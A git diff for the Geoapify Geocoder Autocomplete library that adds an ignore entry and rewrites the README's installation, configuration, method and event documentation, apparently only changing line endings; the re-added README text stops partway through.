diff --git a/.gitignore b/.gitignore
index dd893c4..bb07960 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,4 +1,5 @@
-node_modules
-/dist
-*.tgz
-.vscode/*
\ No newline at end of file
+node_modules
+/dist
+*.tgz
+.vscode/*
+config.bat
diff --git a/.npmignore b/.npmignore
index e8b144e..11eac7d 100644
--- a/.npmignore
+++ b/.npmignore
@@ -1,7 +1,7 @@
-src
-img
-tsconfig.json
-*.tgz
-.vscode/*
-rollup-config.mjs
+src
+img
+tsconfig.json
+*.tgz
+.vscode/*
+rollup-config.mjs
postcss.config.cjs
\ No newline at end of file
diff --git a/README.md b/README.md
index 1dcf9df..e0f6efc 100644
--- a/README.md
+++ b/README.md
@@ -1,527 +1,527 @@
-# Geoapify Geocoder Autocomplete
-
-The Geoapify Geocoder Autocomplete is a JavaScript (TypeScript) library designed to enhance web applications and HTML pages by adding advanced **address autocomplete** functionality and **address autofill** input fields. It harnesses the power of the [Geoapify Geocoding API](https://www.geoapify.com/geocoding-api/) to provide accurate and efficient address search capabilities, making it an essential tool for enhancing the geolocation services of web-based applications.
-
-
-
-* **Customizable Address Input**: Easily embed address input fields within your web application by adding them to provided HTML containers (e.g., `DIV` elements), allowing for flexible integration and styling.
-* **API Integration Flexibility**: By default, the library seamlessly connects to the [Geoapify Address Autocomplete API](https://www.geoapify.com/address-autocomplete/) to retrieve address suggestions. However, developers have the freedom to integrate and combine other third-party Address Search APIs, allowing for extensive customization and the incorporation of multiple data sources.
-* **Search Customization**: Tailor your address search with precision by adding filters and bias parameters. This level of customization empowers developers to fine-tune search queries, ensuring more accurate and relevant address suggestions for users.
-* **Structured Address Forms**: Utilize the type parameter to craft address input forms that enable users to enter structured addresses, including postal codes, cities, countries, address lines, and more.
-* **Place Details Integration**: Optionally, the library can call the [Geoapify Place Details API](https://www.geoapify.com/place-details-api/), providing users with detailed city and building boundaries as part of the search results. This enhances location context and visualization for a richer user experience.
-* **Customizable Look-and-Feel**: Tailor the appearance of the address input and autocomplete suggestions effortlessly. The library offers four distinct styles for both light and dark themes, providing design flexibility. Moreover, developers can further fine-tune the visual aspects using CSS classes to achieve a seamless integration with their application's aesthetics.
-* **Zero Dependencies**: The library is intentionally built with zero external dependencies. This means that it operates independently and does not rely on external libraries or packages.
-
-## [Playground](https://apidocs.geoapify.com/playground/geocoding/#autocomplete)
-## [JSFiddle demo: Address Field + Map](https://jsfiddle.net/Geoapify/jsgw53z8/)
-## [JSFiddle demo: Address Form 1](https://jsfiddle.net/Geoapify/t0eg541k/)
-## [JSFiddle demo: Address Form 2](https://jsfiddle.net/Geoapify/stgek5wf/)
-
-## Getting Geoapify API key
-In case you decide to use Geoapify API to search addresses, you'll need to obtain an API key.
-
-Register for free and obtain your API key at [myprojects.geoapify.com](https://myprojects.geoapify.com/). Geoapify offers a flexible [Freemium pricing model](https://www.geoapify.com/pricing/) that allows you to begin using our services at no cost and seamlessly scale your usage as your needs grow.
-
-## Installation
-Start enhancing your web applications today with `@geoapify/geocoder-autocomplete`:
-
-### Option 1
-Install the Geocoder Autocomplete package with NPM or Yarn project manager:
-
-```
-npm install @geoapify/geocoder-autocomplete
-# or
-yarn add @geoapify/geocoder-autocomplete
-```
-### Option 2
-Refer to the Geocoder Autocomplete library as a UMD module (for CMS websites, including WordPress):
-```html
-
-
-
-
- ...
-
-...
-
-```
-
-You can use [UNPKG](https://unpkg.com/) to refer or download the library:
-
-```https://unpkg.com/@geoapify/geocoder-autocomplete@^1/dist/index.min.js```
-
-```https://unpkg.com/@geoapify/geocoder-autocomplete@^1/styles/minimal.css```
-
-## Using `@geoapify/geocoder-autocomplete` in your project
-Follow the steps below to seamlessly integrate `@geoapify/geocoder-autocomplete` into your project.
-
-### STEP 1. Prepare your webpage
-Incorporate a container element into your webpage where the autocomplete input will be seamlessly integrated, utilizing the full width of the specified element:
-
-```html
-
-```
-The container element must have `position: absolute` or `position: relative`
-```css
-.autocomplete-container {
- position: relative;
-}
-```
-### STEP 2. Initialize the autocomplete field
-
-* **Option 1**. Import the Geocoder Autocomplete types when you use it as a module:
-```javascript
-import { GeocoderAutocomplete } from '@geoapify/geocoder-autocomplete';
-
-const autocomplete = new GeocoderAutocomplete(
- document.getElementById("autocomplete"),
- 'YOUR_API_KEY',
- { /* Geocoder options */ });
-
-autocomplete.on('select', (location) => {
- // check selected location here
-});
-
-autocomplete.on('suggestions', (suggestions) => {
- // process suggestions here
-});
-```
-
-* **Option 2**. Refer to the Geocoder Autocomplete as `autocomplete` when you added it as a script:
-```javascript
-const autocompleteInput = new autocomplete.GeocoderAutocomplete(
- document.getElementById("autocomplete"),
- 'YOUR_API_KEY',
- { /* Geocoder options */ });
-
-autocompleteInput.on('select', (location) => {
- // check selected location here
-});
-
-autocompleteInput.on('suggestions', (suggestions) => {
- // process suggestions here
-});
-```
-### STEP 3. Add the Autocomplete Input styles:
-We provide several Themes within the library:
-* `minimal` and `round-borders` - for webpages with light background color
-* `minimal-dark` and `round-borders-dark` for webpages with dark background color.
-
-You can import the appropriate css-file to your styles:
-```css
- @import "~@geoapify/geocoder-autocomplete/styles/minimal.css";
-```
-or as a link in a HTML-file:
-```html
-
-```
-
-## Transitioning from 1.x: Replacing `skipDetails` with `addDetails`
-
-When transitioning from the 1.x version of the library to the 2.x version, it's important to note that the `skipDetails` option has been replaced by the `addDetails` option. This change enhances the clarity of the parameter, as it now explicitly indicates whether you want to include or exclude additional details in the search results. To maintain compatibility with the updated version, make sure to adjust your code accordingly by using the `addDetails` option when needed for your address search functionality.
-
-So, if you require place details in your search results, you should set the `addDetails` option to `true`.
-## Documentation
-
-Below, you'll find `@geoapify/geocoder-autocomplete`'s detailed documentation, usage examples, advanced features, and more. You'll find the information you need to seamlessly integrate address autocomplete and enhance your web-based geolocation services and user experiences.
-### Creation
-
-| Option | Type | Description |
-| ------ | ------ | ------ |
-| constructor | *GeocoderAutocomplete( el, geoapifyApiKey, options?)* | *GeocoderAutocomplete(document.getElementById('autocomplete'), 'sdf45dfg68879fhsdgs346dfhdj', { lang: 'it' }*
-
-### GeocoderAutocompleteOptions
-| Option | Type | Description |
-| ------ | ------ | ------ |
-| type | `country`, `state`, `city`, `postcode`, `street`, `amenity` | Type of the location |
-| lang | LanguageCode | Results language |
-| limit | number | The maximal number of returned suggestions |
-| placeholder | string | An input field placeholder |
-| debounceDelay | number | A delay between user input and the API call to prevent unnecessary calls. The default value is 100ms. |
-| skipIcons | boolean | Don't add icons to suggestions |
-| addDetails | boolean | Call Place Details API on selection change to get the place details. For example, opening hours or boundary |
-| skipSelectionOnArrowKey | boolean | Don't choose the location with the arrow keys |
-| filter | FilterOptions | Filter places by country, boundary, circle, place |
-| bias | BiasOptions | Prefer places by country, boundary, circle, location |
-| allowNonVerifiedHouseNumber | boolean | Allow the addition of house numbers that are not verified by the Geocoding API or missing in the database. Check the *"Working with non-verified values"* section for details. |
-| allowNonVerifiedStreet | boolean | Allow the addition of streets that are not verified by the Geocoding API or missing in the database. Check the *"Working with non-verified values"* section for details. |
-
-#### LanguageCode
-2-character [ISO 639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes) language code: `ab`, `aa`, `af`, `ak`, `sq`, `am`, `ar`, `an`, `hy`, `as`, `av`, `ae`, `ay`, `az`, `bm`, `ba`, `eu`, `be`, `bn`, `bh`, `bi`, `bs`, `br`, `bg`, `my`, `ca`, `ch`, `ce`, `ny`, `zh`, `cv`, `kw`, `co`, `cr`, `hr`, `cs`, `da`, `dv`, `nl`, `en`, `eo`, `et`, `ee`, `fo`, `fj`, `fi`, `fr`, `ff`, `gl`, `ka`, `de`, `el`, `gn`, `gu`, `ht`, `ha`, `he`, `hz`, `hi`, `ho`, `hu`, `ia`, `id`, `ie`, `ga`, `ig`, `ik`, `io`, `is`, `it`, `iu`, `ja`, `jv`, `kl`, `kn`, `kr`, `ks`, `kk`, `km`, `ki`, `rw`, `ky`, `kv`, `kg`, `ko`, `ku`, `kj`, `la`, `lb`, `lg`, `li`, `ln`, `lo`, `lt`, `lu`, `lv`, `gv`, `mk`, `mg`, `ms`, `ml`, `mt`, `mi`, `mr`, `mh`, `mn`, `na`, `nv`, `nb`, `nd`, `ne`, `ng`, `nn`, `no`, `ii`, `nr`, `oc`, `oj`, `cu`, `om`, `or`, `os`, `pa`, `pi`, `fa`, `pl`, `ps`, `pt`, `qu`, `rm`, `rn`, `ro`, `ru`, `sa`, `sc`, `sd`, `se`, `sm`, `sg`, `sr`, `gd`, `sn`, `si`, `sk`, `sl`, `so`, `st`, `es`, `su`, `sw`, `ss`, `sv`, `ta`, `te`, `tg`, `th`, `ti`, `bo`, `tk`, `tl`, `tn`, `to`, `tr`, `ts`, `tt`, `tw`, `ty`, `ug`, `uk`, `ur`, `uz`, `ve`, `vi`, `vo`, `wa`, `cy`, `wo`, `fy`, `xh`, `yi`, `yo`, `za`.
-
-#### FilterOptions
-The Geocoder Autocomplete allows specify the following types of filters:
-
-Name | Filter | Filter Value | Description | Examples
---- | --- | --- | --- | ---
-By circle | *circle* | `{ lon: number ,lat: number, radiusMeters: number }` | Search places inside the circle | `filter['circle'] = {lon: -87.770231, lat: 41.878968, radiusMeters: 5000}`
-By rectangle | *rect* | `{ lon1: number ,lat1: number, lon2: number ,lat2: number}` | Search places inside the rectangle | `filter['rect'] = {lon1: 89.097540, lat1: 39.668983, lon2: -88.399274, lat2: 40.383412}`
-By country | *countrycode* | `CountyCode[]` | Search places in the countries | `filter['countrycode'] = ['de', 'fr', 'es']`
-By place | *place* | `string` | Search for places within a given city or postal code. For example, search for streets within a city. Use the 'place_id' returned by another search to specify a filter. | `filter['place'] = '51ac66e77e9826274059f9426dc08c114840f00101f901dcf3000000000000c00208'`
-
-You can provide filters as initial options or add by calling a function:
-```
- options.filter = {
- 'circle': {lon: -87.770231, lat: 41.878968, radiusMeters: 5000}
- };
-
- // or
-
- autocomplete.addFilterByCircle({lon: -87.770231, lat: 41.878968, radiusMeters: 5000});
-
-```
-
-You can combine several filters (but only one of each type) in one request. The **AND** logic is applied to the multiple filters.
-
-#### BiasOptions
-You can chage priority of the search by setting bias. The Geocoder Autocomplete allows specify the following types of bias:
-
-Name | Bias | Bias Value | Description | Examples
---- | --- | --- | --- | ---
-By circle | *circle* | `{ lon: number ,lat: number, radiusMeters: number }` | First, search places inside the circle, then worldwide | `bias['circle'] = {lon: -87.770231, lat: 41.878968, radiusMeters: 5000}`
-By rectangle | *rect* | `{ lon1: number ,lat1: number, lon2: number ,lat2: number}` | First, search places inside the rectangle, then worldwide | `bias['rect'] = {lon1: 89.097540, lat1: 39.668983, lon2: -88.399274, lat2: 40.383412}`
-By country | *countrycode* | `CountyCode[]` | First, search places in the countries, then worldwide | `bias['countrycode'] = ['de', 'fr', 'es']`
-By location | *proximity* | `{lon: number ,lat: number}` | Prioritize results by farness from the location | `bias['proximity'] = {lon: -87.770231, lat: 41.878968}`
-
-You can combine several bias parameters (but only one of each type) in one request. The OR logic is applied to the multiple bias.
-
-NOTE! The default bias for the geocoding requests is "countrycode:auto", the API detects a country by IP address and provides the search there first. Set `bias['countrycode'] = ['none']` to avoid prioritization by country.
-
-You can provide filters as initial options or add by calling a function:
-```
- options.bias = {
- 'circle': {lon: -87.770231, lat: 41.878968, radiusMeters: 5000},
- 'countrycode': ['none']
- };
-
- // or
-
- autocomplete.addBiasByCircle({lon: -87.770231, lat: 41.878968, radiusMeters: 5000});
-
-```
-#### CountyCode
-
-* Use 'auto' to detect the country by IP address;
-* Use 'none' to skip;
-* 2-digits [ISO 3166-1 Alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2#Officially_assigned_code_elements) country code: `ad`, `ae`, `af`, `ag`, `ai`, `al`, `am`, `an`, `ao`, `ap`, `aq`, `ar`, `as`, `at`, `au`, `aw`, `az`, `ba`, `bb`, `bd`, `be`, `bf`, `bg`, `bh`, `bi`, `bj`, `bm`, `bn`, `bo`, `br`, `bs`, `bt`, `bv`, `bw`, `by`, `bz`, `ca`, `cc`, `cd`, `cf`, `cg`, `ch`, `ci`, `ck`, `cl`, `cm`, `cn`, `co`, `cr`, `cu`, `cv`, `cx`, `cy`, `cz`, `de`, `dj`, `dk`, `dm`, `do`, `dz`, `ec`, `ee`, `eg`, `eh`, `er`, `es`, `et`, `eu`, `fi`, `fj`, `fk`, `fm`, `fo`, `fr`, `ga`, `gb`, `gd`, `ge`, `gf`, `gh`, `gi`, `gl`, `gm`, `gn`, `gp`, `gq`, `gr`, `gs`, `gt`, `gu`, `gw`, `gy`, `hk`, `hm`, `hn`, `hr`, `ht`, `hu`, `id`, `ie`, `il`, `in`, `io`, `iq`, `ir`, `is`, `it`, `jm`, `jo`, `jp`, `ke`, `kg`, `kh`, `ki`, `km`, `kn`, `kp`, `kr`, `kw`, `ky`, `kz`, `la`, `lb`, `lc`, `li`, `lk`, `lr`, `ls`, `lt`, `lu`, `lv`, `ly`, `ma`, `mc`, `md`, `me`, `mg`, `mh`, `mk`, `ml`, `mm`, `mn`, `mo`, `mp`, `mq`, `mr`, `ms`, `mt`, `mu`, `mv`, `mw`, `mx`, `my`, `mz`, `na`, `nc`, `ne`, `nf`, `ng`, `ni`, `nl`, `no`, `np`, `nr`, `nu`, `nz`, `om`, `pa`, `pe`, `pf`, `pg`, `ph`, `pk`, `pl`, `pm`, `pr`, `ps`, `pt`, `pw`, `py`, `qa`, `re`, `ro`, `rs`, `ru`, `rw`, `sa`, `sb`, `sc`, `sd`, `se`, `sg`, `sh`, `si`, `sj`, `sk`, `sl`, `sm`, `sn`, `so`, `sr`, `st`, `sv`, `sy`, `sz`, `tc`, `td`, `tf`, `tg`, `th`, `tj`, `tk`, `tm`, `tn`, `to`, `tr`, `tt`, `tv`, `tw`, `tz`, `ua`, `ug`, `um`, `us`, `uy`, `uz`, `va`, `vc`, `ve`, `vg`, `vi`, `vn`, `vu`, `wf`, `ws`, `ye`, `yt`, `za`, `zm`, `zw`.
-
-Learn more about Geoapify Geocoder options on [Geoapify Documentation page](https://apidocs.geoapify.com/docs/geocoding).
-
-### Methods
-
-Here's a description of the API methods:
-
-| Method | Description |
-|-----------------------------------------|---------------------------------------------------------------------|
-| *setType(type: 'country' or 'state' or 'city' or 'postcode' or 'street' or 'amenity'): void* | Sets the type of location for address suggestions. |
-| *setLang(lang: SupportedLanguage): void* | Sets the language for address suggestions. |
-| *setCountryCodes(codes: CountyCode[]): void* | Sets specific country codes to filter address suggestions. |
-| *setPosition(position: GeoPosition = {lat: number; lon: number}): void* | Sets the geographic position to influence suggestions based on proximity.|
-| *setLimit(limit: number): void* | Sets the maximum number of suggestions to display. |
-| *setValue(value: string): void* | Sets the value of the input field programmatically. |
-| *getValue(): string* | Retrieves the current value of the input field. |
-| *addFilterByCountry(codes: CountyCode[]): void* | Adds a filter to include or exclude suggestions based on specific country codes. |
-| *addFilterByCircle(filterByCircle: ByCircleOptions = {lon: number; lat: number; radiusMeters: number }): void* | Adds a circular filter to include or exclude suggestions within a specified geographic area. |
-| *addFilterByRect(filterByRect: ByRectOptions = { lon1: number; lat1: number; lon2: number; lat2: number}): void* | Adds a rectangular filter to include or exclude suggestions within a specified geographic area. |
-| *addFilterByPlace(filterByPlace: string): void* | Adds a filter to include or exclude suggestions based on a specific place or location. |
-| *clearFilters(): void* | Clears all previously added filters. |
-| *addBiasByCountry(codes: CountyCode[]): void* | Adds a bias to prioritize suggestions from specific countries. |
-| *addBiasByCircle(biasByCircle: ByCircleOptions = {lon: number; lat: number; radiusMeters: number }): void* | Adds a circular bias to prioritize suggestions within a specified geographic area. |
-| *addBiasByRect(biasByRect: ByRectOptions = { lon1: number; lat1: number; lon2: number; lat2: number}): void* | Adds a rectangular bias to prioritize suggestions within a specified geographic area. |
-| *addBiasByProximity(biasByProximity: ByProximityOptions = { lon: number; lat: number }): void* | Adds a bias based on proximity to a specific location. |
-| *clearBias(): void* | Clears all previously added biases. |
-| *setSuggestionsFilter(suggestionsFilterFunc?: (suggestions: GeoJSON.Feature[]) => GeoJSON.Feature[]): void* | Sets a custom filter function for suggestions. |
-| *setPreprocessHook(preprocessHookFunc?: (value: string) => string): void* | Sets a preprocessing hook to modify the input value before sending a request. |
-| *setPostprocessHook(postprocessHookFunc?: (value: string) => string): void* | Sets a post-processing hook to modify the suggestion values after retrieval. |
-| *isOpen(): boolean* | Checks if the suggestions dropdown is currently open. |
-| *close(): void* | Manually closes the suggestions dropdown. |
-| *open(): void* | Manually opens the suggestions dropdown. |
-| *sendGeocoderRequest(value: string): Promise* | Sends a geocoder request based on the provided value and returns a Promise with the response in [GeoJSON FeatureCollection](https://en.wikipedia.org/wiki/GeoJSON) format containing suggestions. |
-| *sendPlaceDetailsRequest(feature: GeoJSON.Feature): Promise* | Sends a place details request based on the provided [GeoJSON feature](https://en.wikipedia.org/wiki/GeoJSON) and returns a Promise with the response in GeoJSON Feature format containing place details. |
-| *setSendGeocoderRequestFunc(sendGeocoderRequestFunc: (value: string, geocoderAutocomplete: GeocoderAutocomplete) => Promise): void* | Sets a custom function to send geocoder requests. |
-| *setSendPlaceDetailsRequestFunc(sendPlaceDetailsRequestFunc: (feature: GeoJSON.Feature, geocoderAutocomplete: GeocoderAutocomplete) => Promise): void* | Sets a custom function to send place details requests. |
-| *on(operation: 'select' or 'suggestions' or 'input' or 'close' or 'open', callback: (param: any) => void): void* | Attaches event listeners to various operations such as selection, suggestions, input changes, and dropdown open/close. |
-| *off(operation: 'select' or 'suggestions' or 'input' or 'close' or 'open', callback?: (param: any) => void): void* | Detaches previously attached event listeners. |
-| *once(operation: 'select' or 'suggestions' or 'input' or 'close' or 'open', callback: (param: any) => void): void* | Attaches a one-time event listener that triggers only once for the specified operation. |
-
-#### Example. Setting Geocoder options
-The library offers a flexible API that enables the dynamic configuration of Geoapify Geocoder options at runtime:
-
-```javascript
-const autocomplete = new GeocoderAutocomplete(...);
-
-// set location type
-autocomplete.setType(options.type);
-// set results language
-autocomplete.setLang(options.lang);
-// set dropdown elements limit
-autocomplete.setLimit(options.limit);
-
-// set filter
-autocomplete.addFilterByCountry(codes);
-autocomplete.addFilterByCircle(filterByCircle);
-autocomplete.addFilterByRect(filterByRect);
-autocomplete.addFilterByPlace(placeId);
-autocomplete.clearFilters()
-
-// set bias
-autocomplete.addBiasByCountry(codes);
-autocomplete.addBiasByCircle(biasByCircle);
-autocomplete.addBiasByRect(biasByRect);
-autocomplete.addBiasByProximity(biasByProximity);
-autocomplete.clearBias();
-```
-
-#### Example. Close and open the suggestions dropdown automatically
-
-You can also interact with the suggestions dropdown through the API, allowing you to check its current state and toggle the open/close state as needed:
-
-```javascript
-// get and change dropdown list state
-autocomplete.isOpen();
-autocomplete.open();
-autocomplete.close();
-```
-
-#### Example. Setting and getting the display value
-You have the ability to retrieve the current value or modify the displayed value:
-
-```javascript
-autocomplete.setValue(value);
-
-const displayValue = autocomplete.getValue();
-```
-
-#### Example. Hooks and suggestions filter
-
-Through the inclusion of preprocessing and post-processing hooks, as well as a suggestions filter, you modify both the entered values before sending the request and the received suggestions list:
-
-* **Preprocess Hook** - Empower your address search by modifying the input text dynamically. For instance, when expecting a street name, you can enhance the search by adding a city or postcode to find streets within that specific location.
-* **Postprocess Hook** - Tailor the displayed text in both the input field and suggestions list to match your desired format. For example, you can choose to display only the street name, offering a cleaner and more user-friendly presentation.
-* **Suggestions Filter** - Efficiently manage and filter suggestions to prevent duplication or remove unnecessary items. This feature is particularly useful when applying a post-process hook, ensuring that suggestions with identical street names are intelligently handled and presented without redundancy.
-
-```javascript
-
-// add preprocess hook
-autocomplete.setPreprocessHook((value: string) => {
- // return augmented value here
- return `${value} ${someAdditionalInfo}`
-});
-
-// remove the hook
-autocomplete.setPreprocessHook(null);
-
-autocomplete.setPostprocessHook((feature) => {
- // feature is GeoJSON feature containing structured address
- // return a part of the address to be displayed
- return feature.properties.street;
-});
-
-// remove the hook
-autocomplete.setPostprocessHook(null);
-
-autocomplete.setSuggestionsFilter((features: any[]) => {
- // features is an array of GeoJSON features, that contains suggestions
- // return filtered array
- const processedStreets = [];
- const filtered = features.filter(feature => {
- if (!feature.properties.street || processedStreets.indexOf(feature.properties.street) >= 0) {
- return false;
- } else {
- processedStreets.push(feature.properties.street);
- return true;
- }
- });
- return filtered;
-});
-
-// remove the filter
-autocomplete.setSuggestionsFilter(null);
-
-```
-
-#### Example. Overwrite send request method
-
-The library provides the flexibility to override default API methods, with Geoapify API being the default choice, for searching addresses. This allows you to seamlessly integrate custom or third-party address search services, offering you the freedom to tailor the geocoding functionality to your specific needs.
-
-Here is an example of how you can override the default API methods to integrate custom or third-party address search services:
-
-```javascript
-autocomplete.setSendGeocoderRequestFunc((value: string, geocoderAutocomplete: GeocoderAutocomplete) => {
-
- if (/* check here if you can geocode the value */) {
- ...
- return new Promise((resolve, reject) => {
- resolve({
- "type": "FeatureCollection",
- "features": [
- {
- "type": "Feature",
- "properties": {
- ...
- "formatted": address
- },
- "geometry": {
- "type": "Point",
- "coordinates": [lon, lat]
- }
- }
- ]
- })
- });
- }
-
- // You can call the default search method this way
- return geocoderAutocomplete.sendGeocoderRequest(value);
-});
-
-autocomplete.setSendPlaceDetailsRequestFunc((feature: any, geocoderAutocomplete: GeocoderAutocomplete) => {
- if (/* you have details for the place */) {
- ...
- return new Promise((resolve, reject) => {
- resolve({
- "type": "FeatureCollection",
- "features": [
- {
- "type": "Feature",
- "properties": {
- ...
- "formatted": address
- },
- "geometry": { ... }
- }
- ]
- })
- });
- }
-
- // You can call the default place details method this way
- return geocoderAutocomplete.sendPlaceDetailsRequest(feature);
-});
-```
-
-### Events
-
-`@geoapify/geocoder-autocomplete` provides a set of event handling functionsโon, off, and once. These functions allow you to attach, detach, and manage event listeners for various user interactions and changes within the library.
-
-| Event Name | Description |
-|---------------|------------------------------------------------------------------------------------------------------------------------|
-| `select` | Triggered when a suggestion is selected from the dropdown. Useful for capturing and responding to user selections. |
-| `suggestions` | Fired when suggestions are provided, allowing access to the list of suggestions for customization or interaction. |
-| `input` | Occurs whenever the input field value changes, providing real-time feedback on user input for dynamic adjustments. |
-| `close` | Triggered when the suggestions dropdown is closed, enabling actions to be performed when the dropdown closes. |
-| `open` | Fired when the suggestions dropdown is opened, offering an opportunity to respond to dropdown opening events. |
-
-These events offer flexibility and customization options for creating tailored interactions and user experiences in your application.
-
-#### Example. Geocoder Autocomplete events
-
-You have the option to attach event listeners to the Geocoder Autocomplete:
-
-```javascript
-autocomplete.on('select', (location) => {
- // check selected location here
-});
-
-autocomplete.on('suggestions', (suggestions) => {
- // process suggestions here
-});
-
-autocomplete.on('input', (userInput) => {
- // process user input here
-});
-
-autocomplete.on('open', () => {
- // dropdown list is opened
-});
-
-autocomplete.on('close', () => {
- // dropdown list is closed
-});
-
-autocomplete.once('open', () => {
- // dropdown list is opened, one time callback
-});
-
-autocomplete.once('close', () => {
- // dropdown list is closed, one time callback
-});
-```
-The location have [GeoJSON.Feature](https://geojson.org/) type, suggestions have GeoJSON.Feature[] type. The feature properties contain information about address and location.
-
-Use `off()` function to remove event listerers:
-```javascript
-// remove open event
-autocomplete.off('open', this.onOpen);
-
-// remove all open events
-autocomplete.off('open');
-```
-
-Learn more about Geocoder result properties on [Geoapify Documentation page](https://apidocs.geoapify.com/docs/geocoding/).
-
-## Styling
-
-We offer a variety of built-in themes within the library, catering to different webpage styles:
-
-1. **Minimal Theme**: Designed for webpages with a light background color.
-2. **Round Borders Theme**: Tailored for webpages with a light background color, featuring rounded borders.
-3. **Minimal Dark Theme**: Ideal for webpages with a dark background color.
-4. **Round Borders Dark Theme**: Specifically crafted for webpages with a dark background color, incorporating rounded borders.
-
-These themes offer versatile styling options to seamlessly integrate the address autocomplete component into various webpage designs.
-
-Moreover, if you prefer to have complete control over the styling, you have the opportunity to customize the component yourself. Below are the CSS classes used for styling:
-
-| Class Name | Description |
-| ---------------------------------------------- | -------------------------------------------------------------- |
-| `.geoapify-autocomplete-input` | Styles the input element. |
-| `.geoapify-autocomplete-items` | Styles the dropdown list. |
-| `.geoapify-autocomplete-items .active` | Styles the selected item in the dropdown list. |
-| `.geoapify-autocomplete-item` | Styles the individual dropdown list items. |
-| `.geoapify-autocomplete-item.icon` | Styles the icon within the dropdown list items. |
-| `.geoapify-autocomplete-item.text` | Styles the text within the dropdown list items. |
-| `.geoapify-close-button` | Styles the clear button. |
-| `.geoapify-autocomplete-items .main-part .non-verified` | Styles a portion of the street address that could not be verified by the Geocoder. |
-
-## Working with non-verified address components
-
-When utilizing the Geocoder Autocomplete library to gather postal addresses, it's often advantageous to adopt a more permissive approach, allowing for the inclusion of non-verified address components such as house numbers and streets.
-
-In real-world scenarios, it's possible that newly constructed streets or houses may not yet be included in existing databases. Restricting users from entering such addresses may not align with your objectives.
-
-To accommodate users and enable the inclusion of non-verified address parts, you can leverage the `allowNonVerifiedHouseNumber` and `allowNonVerifiedStreet` parameters. These settings empower users to contribute address details that may not yet be officially validated, fostering flexibility and completeness in your address data collection process.
-
-### How it works
-
-The library operates by utilizing the API to retrieve essential address details, including the parsed address, the located address, and a match type as results. Using this information as a foundation, the library enhances the result by filling in missing values, such as house numbers, to provide a more complete and user-friendly address representation.
-
-Notably, non-verified address components are denoted with a "non-verified" class, making them visually distinct by default, often highlighted in red to indicate their provisional or unverified status.
-
-It's essential to note that the GPS coordinates associated with the results correspond to the actual locations. Users have the flexibility to adjust these coordinates as needed to ensure accuracy.
-
-Furthermore, the result object is expanded to include a list of non-verified properties. For instance:
-
-```json
-{
- "type": "Feature",
- "properties": {
- ...
- "address_line1": "Bรผrgermeister-Heinrich-Straรe 60",
- "address_line2": "93077 Bad Abbach, Germany",
- "housenumber": "60",
- "nonVerifiedParts": [
- "housenumber"
- ]
- },
- ...
-}
-```
-
-This extended result object provides transparency by clearly indicating which address components are non-verified, allowing for informed decision-making and customization based on the level of validation required for your specific use case.
-
-## License
-This library is open-source and released under the MIT License.
-
-## Contributions and Support
+# Geoapify Geocoder Autocomplete
+
+The Geoapify Geocoder Autocomplete is a JavaScript (TypeScript) library designed to enhance web applications and HTML pages by adding advanced **address autocomplete** functionality and **address autofill** input fields. It harnesses the power of the [Geoapify Geocoding API](https://www.geoapify.com/geocoding-api/) to provide accurate and efficient address search capabilities, making it an essential tool for enhancing the geolocation services of web-based applications.
+
+
+
+* **Customizable Address Input**: Easily embed address input fields within your web application by adding them to provided HTML containers (e.g., `DIV` elements), allowing for flexible integration and styling.
+* **API Integration Flexibility**: By default, the library seamlessly connects to the [Geoapify Address Autocomplete API](https://www.geoapify.com/address-autocomplete/) to retrieve address suggestions. However, developers have the freedom to integrate and combine other third-party Address Search APIs, allowing for extensive customization and the incorporation of multiple data sources.
+* **Search Customization**: Tailor your address search with precision by adding filters and bias parameters. This level of customization empowers developers to fine-tune search queries, ensuring more accurate and relevant address suggestions for users.
+* **Structured Address Forms**: Utilize the type parameter to craft address input forms that enable users to enter structured addresses, including postal codes, cities, countries, address lines, and more.
+* **Place Details Integration**: Optionally, the library can call the [Geoapify Place Details API](https://www.geoapify.com/place-details-api/), providing users with detailed city and building boundaries as part of the search results. This enhances location context and visualization for a richer user experience.
+* **Customizable Look-and-Feel**: Tailor the appearance of the address input and autocomplete suggestions effortlessly. The library offers four distinct styles for both light and dark themes, providing design flexibility. Moreover, developers can further fine-tune the visual aspects using CSS classes to achieve a seamless integration with their application's aesthetics.
+* **Zero Dependencies**: The library is intentionally built with zero external dependencies. This means that it operates independently and does not rely on external libraries or packages.
+
+## [Playground](https://apidocs.geoapify.com/playground/geocoding/#autocomplete)
+## [JSFiddle demo: Address Field + Map](https://jsfiddle.net/Geoapify/jsgw53z8/)
+## [JSFiddle demo: Address Form 1](https://jsfiddle.net/Geoapify/t0eg541k/)
+## [JSFiddle demo: Address Form 2](https://jsfiddle.net/Geoapify/stgek5wf/)
+
+## Getting Geoapify API key
+In case you decide to use Geoapify API to search addresses, you'll need to obtain an API key.
+
+Register for free and obtain your API key at [myprojects.geoapify.com](https://myprojects.geoapify.com/). Geoapify offers a flexible [Freemium pricing model](https://www.geoapify.com/pricing/) that allows you to begin using our services at no cost and seamlessly scale your usage as your needs grow.
+
+## Installation
+Start enhancing your web applications today with `@geoapify/geocoder-autocomplete`:
+
+### Option 1
+Install the Geocoder Autocomplete package with NPM or Yarn project manager:
+
+```
+npm install @geoapify/geocoder-autocomplete
+# or
+yarn add @geoapify/geocoder-autocomplete
+```
+### Option 2
+Refer to the Geocoder Autocomplete library as a UMD module (for CMS websites, including WordPress):
+```html
+
+
+
+
+ ...
+
+...
+
+```
+
+You can use [UNPKG](https://unpkg.com/) to refer or download the library:
+
+```https://unpkg.com/@geoapify/geocoder-autocomplete@^1/dist/index.min.js```
+
+```https://unpkg.com/@geoapify/geocoder-autocomplete@^1/styles/minimal.css```
+
+## Using `@geoapify/geocoder-autocomplete` in your project
+Follow the steps below to seamlessly integrate `@geoapify/geocoder-autocomplete` into your project.
+
+### STEP 1. Prepare your webpage
+Incorporate a container element into your webpage where the autocomplete input will be seamlessly integrated, utilizing the full width of the specified element:
+
+```html
+
+```
+The container element must have `position: absolute` or `position: relative`
+```css
+.autocomplete-container {
+ position: relative;
+}
+```
+### STEP 2. Initialize the autocomplete field
+
+* **Option 1**. Import the Geocoder Autocomplete types when you use it as a module:
+```javascript
+import { GeocoderAutocomplete } from '@geoapify/geocoder-autocomplete';
+
+const autocomplete = new GeocoderAutocomplete(
+ document.getElementById("autocomplete"),
+ 'YOUR_API_KEY',
+ { /* Geocoder options */ });
+
+autocomplete.on('select', (location) => {
+ // check selected location here
+});
+
+autocomplete.on('suggestions', (suggestions) => {
+ // process suggestions here
+});
+```
+
